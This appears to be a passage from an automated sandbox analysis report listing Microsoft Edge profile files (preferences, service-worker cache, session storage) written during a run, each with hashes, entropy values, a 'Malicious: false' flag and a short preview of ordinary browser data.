Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13221
Entropy (8bit):	5.229153295417299
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP9koeYn9YFH8BbV+FEPQwnv0PVYJ:stgPGKSu4JsYytJLbGoQwb
MD5:	A40CF317ADB927AEE697BCB265A50A66
SHA1:	CAD2A7AE6DB8F3F600706181ED0243A7B2E276E3
SHA-256:	C398936DE1BB1BB7D90A012FF0D5F32DF4B7F931C4328B80C479AAF4F948042F
SHA-512:	96D3DB95C6AF1104AE921C32BAA752577223BEBE13403F570D8E8C29BAF0D7481714143DDB875046049DF9B23147F974A4A071D2B64954E0514EF4CFFF65376E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31dda.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13221
Entropy (8bit):	5.229153295417299
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP9koeYn9YFH8BbV+FEPQwnv0PVYJ:stgPGKSu4JsYytJLbGoQwb
MD5:	A40CF317ADB927AEE697BCB265A50A66
SHA1:	CAD2A7AE6DB8F3F600706181ED0243A7B2E276E3
SHA-256:	C398936DE1BB1BB7D90A012FF0D5F32DF4B7F931C4328B80C479AAF4F948042F
SHA-512:	96D3DB95C6AF1104AE921C32BAA752577223BEBE13403F570D8E8C29BAF0D7481714143DDB875046049DF9B23147F974A4A071D2B64954E0514EF4CFFF65376E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF36998.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13221
Entropy (8bit):	5.229153295417299
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP9koeYn9YFH8BbV+FEPQwnv0PVYJ:stgPGKSu4JsYytJLbGoQwb
MD5:	A40CF317ADB927AEE697BCB265A50A66
SHA1:	CAD2A7AE6DB8F3F600706181ED0243A7B2E276E3
SHA-256:	C398936DE1BB1BB7D90A012FF0D5F32DF4B7F931C4328B80C479AAF4F948042F
SHA-512:	96D3DB95C6AF1104AE921C32BAA752577223BEBE13403F570D8E8C29BAF0D7481714143DDB875046049DF9B23147F974A4A071D2B64954E0514EF4CFFF65376E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564088353334787
Encrypted:	false
SSDEEP:	768:PZe0dOWP60fan8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWqUbM7VrwwjfVJqKp4tuL:PZe0dOWP60fanu1jabqUo7ewjtodtU
MD5:	1C297C6298827E2B4E6EAD1FF38BC52F
SHA1:	4361176547A4A32E985A1920BDEAA4F0C15CF4FD
SHA-256:	013358E8DC810D43F16A65E1C3F208F06022435B47D9BB769920E86C016EAFA3
SHA-512:	74A57B27045232F5FFE8686D5BE37CF230DA33284C0EBA657B90C8AB016BC730B7E3C52331F00598EC9A4DE724B55A58B0DB065CD36CDC669BA14069F4AD5625
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383995849891233","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383995849891233","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF31d4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564088353334787
Encrypted:	false
SSDEEP:	768:PZe0dOWP60fan8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWqUbM7VrwwjfVJqKp4tuL:PZe0dOWP60fanu1jabqUo7ewjtodtU
MD5:	1C297C6298827E2B4E6EAD1FF38BC52F
SHA1:	4361176547A4A32E985A1920BDEAA4F0C15CF4FD
SHA-256:	013358E8DC810D43F16A65E1C3F208F06022435B47D9BB769920E86C016EAFA3
SHA-512:	74A57B27045232F5FFE8686D5BE37CF230DA33284C0EBA657B90C8AB016BC730B7E3C52331F00598EC9A4DE724B55A58B0DB065CD36CDC669BA14069F4AD5625
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383995849891233","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383995849891233","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.79516084635411
Encrypted:	false
SSDEEP:	24:F2xc5NmKPcncmoDCRORpllg2hEFSfRHNHldCRORpllg2hj1BFCRORpllg2hEFtRS:F2emJMrd6ofBrrd11Zrd6TBtTrdBBm
MD5:	4D428BCD029C74EDFE4E73C1AFEFF7E4
SHA1:	5E09B184690DEB72E747EF95A763B66EACF98D1A
SHA-256:	37E920C1512A44FBC493839DCD1420E8AF06F8D39135279E4EC501B3931BD7DA
SHA-512:	18D5851D6BA88C365152A95547DB21497D560842C381D6BC541CC31F2573EEE2CF12F7AF6370AFD8B5FB65444285750D528C139E2CB6A647178C33A1CDA3167A
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.r..................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.205995027618012
Encrypted:	false
SSDEEP:	6:iOX83JSTy3M1cNwi23oH+TcwtE/a252KLl183JSdwMq2PcNwi23oH+TcwtE/a2Zh:76JSTy32ZYeb8xLWJSvvLZYeb8J2FUv
MD5:	6BDEACF6998D44B1CA3E30B721AD83BE
SHA1:	6D3D8A9814CBD8238F950D8059F753801CD4E8ED
SHA-256:	7D0166BA86566B5EABA0E1541734FB953549BF06A18AB55540B6445F78AA08CB
SHA-512:	C6B9B5B14CEF47A9B34231EF94D1839B95CDB0C0897BF8CCCC32B6694DA5B81DEEAD1AE3058F0AD7B26F78524E40FFFAF88B1EA839EA0CBE42C556B43E5116CA
Malicious:	false
Preview:	2025/02/14-03:37:38.766 1d14 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/02/14-03:37:38.781 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	116655
Entropy (8bit):	5.574161848821009
Encrypted:	false
SSDEEP:	1536:WI906CxPXfO8a1PEYeIlL/NvKKd1XCjA3DONDFKamY4fZOl8fS6Lc3JdKP/zPXLD:39LCxPXfO8a1P5eIlL/tKK1XGTqj9
MD5:	E3F4B481D251C57442F4961CBBBAA6E0
SHA1:	70A7F0B33097893A9F8E74B6351FE645FBFA1261
SHA-256:	B8ED071C6FDC48B5DEF63E3CF8F59DEF0AE09D82462326288E9A8E26CC47D9D6
SHA-512:	5757357A50144755BBA15EAD55CD9BE183ABA59A44C784449F92651F5C9E2BF34A25143E155A48D65CA1E543CA84AF4C18475C8079B8E068D125500688665729
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	191913
Entropy (8bit):	6.390037110047452
Encrypted:	false
SSDEEP:	3072:DpOw4Eih0wFwC8TG0lgL/cNX7bAL/R26PuSDZI3+GUVxzUn+2AuzkEVTJZq9NkDv:2FwLy0SL/ELK526uSDZI3+GUVxzUn+2p
MD5:	B312A62A4A14B6B14A83863102696BCD
SHA1:	2FBCF970D9C71E81996D5FAF0511A2BA8E3B06D4
SHA-256:	6E912E0DF2F2889CFAD7966DCBC6470543F3FA13F22C6C8BE0DD6CBA8816497D
SHA-512:	A769AFF12AFB661BB89429A88760102D4910F21ED21116E82A07AB028964D963FB0B9643B2B635F806D21254217DD9A68BD74344B03A30C04553D419F442FEDA
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......RcN.+U....exports...Rc"......module....Rc.3A.....define....Rb2R\|.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q.......{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....k...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:UwcdXl/lV/lln/lxE4lt9/llMSu+:UROo8u
MD5:	A3DC514E985E073A878276506857F088
SHA1:	7168EC9264A041BE09F077E13AEFED4163395E0F
SHA-256:	7D87FA8B42485CC64E79759DE9EB19EAE1C05720B8ED6A2723D28A8689D2873F
SHA-512:	422956836A865E44009E6BFD5FB8AB83C25A6122E7F48F96852EF1B33FEEBB1A03559C2D6FE3ADDA596B099EF38E64BD1B9BD09C5D0BE87B9A6D5784650EF22D
Malicious:	false
Preview:	@......oy retne.........................X....,................i..^../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:UwcdXl/lV/lln/lxE4lt9/llMSu+:UROo8u
MD5:	A3DC514E985E073A878276506857F088
SHA1:	7168EC9264A041BE09F077E13AEFED4163395E0F
SHA-256:	7D87FA8B42485CC64E79759DE9EB19EAE1C05720B8ED6A2723D28A8689D2873F
SHA-512:	422956836A865E44009E6BFD5FB8AB83C25A6122E7F48F96852EF1B33FEEBB1A03559C2D6FE3ADDA596B099EF38E64BD1B9BD09C5D0BE87B9A6D5784650EF22D
Malicious:	false
Preview:	@......oy retne.........................X....,................i..^../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3420b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:UwcdXl/lV/lln/lxE4lt9/llMSu+:UROo8u
MD5:	A3DC514E985E073A878276506857F088
SHA1:	7168EC9264A041BE09F077E13AEFED4163395E0F
SHA-256:	7D87FA8B42485CC64E79759DE9EB19EAE1C05720B8ED6A2723D28A8689D2873F
SHA-512:	422956836A865E44009E6BFD5FB8AB83C25A6122E7F48F96852EF1B33FEEBB1A03559C2D6FE3ADDA596B099EF38E64BD1B9BD09C5D0BE87B9A6D5784650EF22D
Malicious:	false
Preview:	@......oy retne.........................X....,................i..^../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7793
Entropy (8bit):	3.3798857838134766
Encrypted:	false
SSDEEP:	96:O9aMJoX25L3ZfCn3+r+ViT9okgpohRYZ0/gtOho4nE5OD:/MJt5cn3+rKiBDBXk0/gt+o4WO
MD5:	2F3BC426A0D704F42A76642E2ACA9D69
SHA1:	A4FE11D966FE86F1916F0B3AC52F7E6575E56180
SHA-256:	7D415F756E70510DBEF46E5B681C1B3AC96409778A6071511B18C723A3457DB0
SHA-512:	7B9CB31465ABD82D0EAE6286C07728C055994FD8A0905634EC66ADD0E455ECE7E1480961A7D649F862931790E1A29D3903191BE471C26FEAD10F7FA8A053C583
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............!5lTb................next-map-id.1.Cnamespace-2f28b808_7fb0_40db_bbe0_48271ae6fa58-https://ntp.msn.com/.0.`..,................map-0-shd_sweeper.9{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.c.x.t.s.c.-.t.2.,.p.r.g.-.d.s.c.t.x.a.p.h.,.p.r.g.-.r.e.l.a.t.e.d.q.r.y.,.p.r.g.-.r.l.t.q.r.y.c.l.k.,.p.r.g.-.s.b.c.a.t.,.x.a.d.s.-.x.g.p.1.-.t.-.a.a.,.c.-.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.p.r.g.-.1.s.w.-.s.a.l.2.e.n.u.i.d.f.t.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.l.3.o.b.t.4.,.p.r.g.-.1.s.w.-.c.-.r.p.d.l.n.c.h.-.3.6.7.0.3.,.1.s.-.t.p.s.n.-.w.i.n.h.p.d.t.-.t.,.1.s.-.t.p.s.n.-.w.i.n.h.p.d.y.n.t.r.i.g.,.1.s.-.u.n.c.l.k.-.c.-.a.n.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.p.2.-.e.b.c.a.p.l.i.m.-.c.t.r.l.,.p.r.g.-.p.r.2.-.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1587697483129595
Encrypted:	false
SSDEEP:	6:iOX83hfwVq2PcNwi23oH+TcwtrQMxIFUtF83hvTBRSgZmw783hVOIkwOcNwi23oM:76hwvLZYebCFUtohvN9/WhH54ZYebtJ
MD5:	0508A5F8870F532035DD72AFDB0742E5
SHA1:	FAAD273666221327411ED7DCEFB97A0F459910FA
SHA-256:	E5690804BDFCF247F744ADCCA87ACC644960F0A46C861DE7F4DEACEC7768D9E8
SHA-512:	2DBFFFE555BEB921CD74E3352B9A8128A2E0302B32F1ADF4FAB66E84456F32822324373B19F0AB4CADB033D2EB02008869535DB783D08C01B82377DB651F0D60
Malicious:	false
Preview:	2025/02/14-03:37:30.709 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/14-03:37:30.710 6d4 Recovering log #3.2025/02/14-03:37:30.712 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1587697483129595
Encrypted:	false
SSDEEP:	6:iOX83hfwVq2PcNwi23oH+TcwtrQMxIFUtF83hvTBRSgZmw783hVOIkwOcNwi23oM:76hwvLZYebCFUtohvN9/WhH54ZYebtJ
MD5:	0508A5F8870F532035DD72AFDB0742E5
SHA1:	FAAD273666221327411ED7DCEFB97A0F459910FA
SHA-256:	E5690804BDFCF247F744ADCCA87ACC644960F0A46C861DE7F4DEACEC7768D9E8
SHA-512:	2DBFFFE555BEB921CD74E3352B9A8128A2E0302B32F1ADF4FAB66E84456F32822324373B19F0AB4CADB033D2EB02008869535DB783D08C01B82377DB651F0D60
Malicious:	false
Preview:	2025/02/14-03:37:30.709 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/14-03:37:30.710 6d4 Recovering log #3.2025/02/14-03:37:30.712 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13383995852385827

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8065008968659404
Encrypted:	false
SSDEEP:	24:3zwidEIjWdvKpsAF4unxmDtLp3X2amEtG1ChqmhGCR7dQKkOAM4H:3zwIE6BzFCLp2FEkChFl9+HOpi
MD5:	A418F49E7D06B5DE539B3E21B957734E
SHA1:	1974117360EEC9AF20779A552ABA0F816D6C202E
SHA-256:	3A2C415799BB4D4E504E511A932DE027270E0B2B487AAE2FD6B51783458641B8
SHA-512:	BC1099DCAF4AA10662FEEA919CDA4FC21AD7E2985D5D691B1ED0B8B6210734A2596C3C5D5F27505307ABF648A9791C1597DF0EE3E9C338D52FE71C38A3743B5E
Malicious:	false
Preview:	SNSS.............................."...................................................!..........................................1..,......$...2f28b808_7fb0_40db_bbe0_48271ae6fa58....................Y.................................................................5..0......&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}..................................................................edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......b.......c....................................... ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

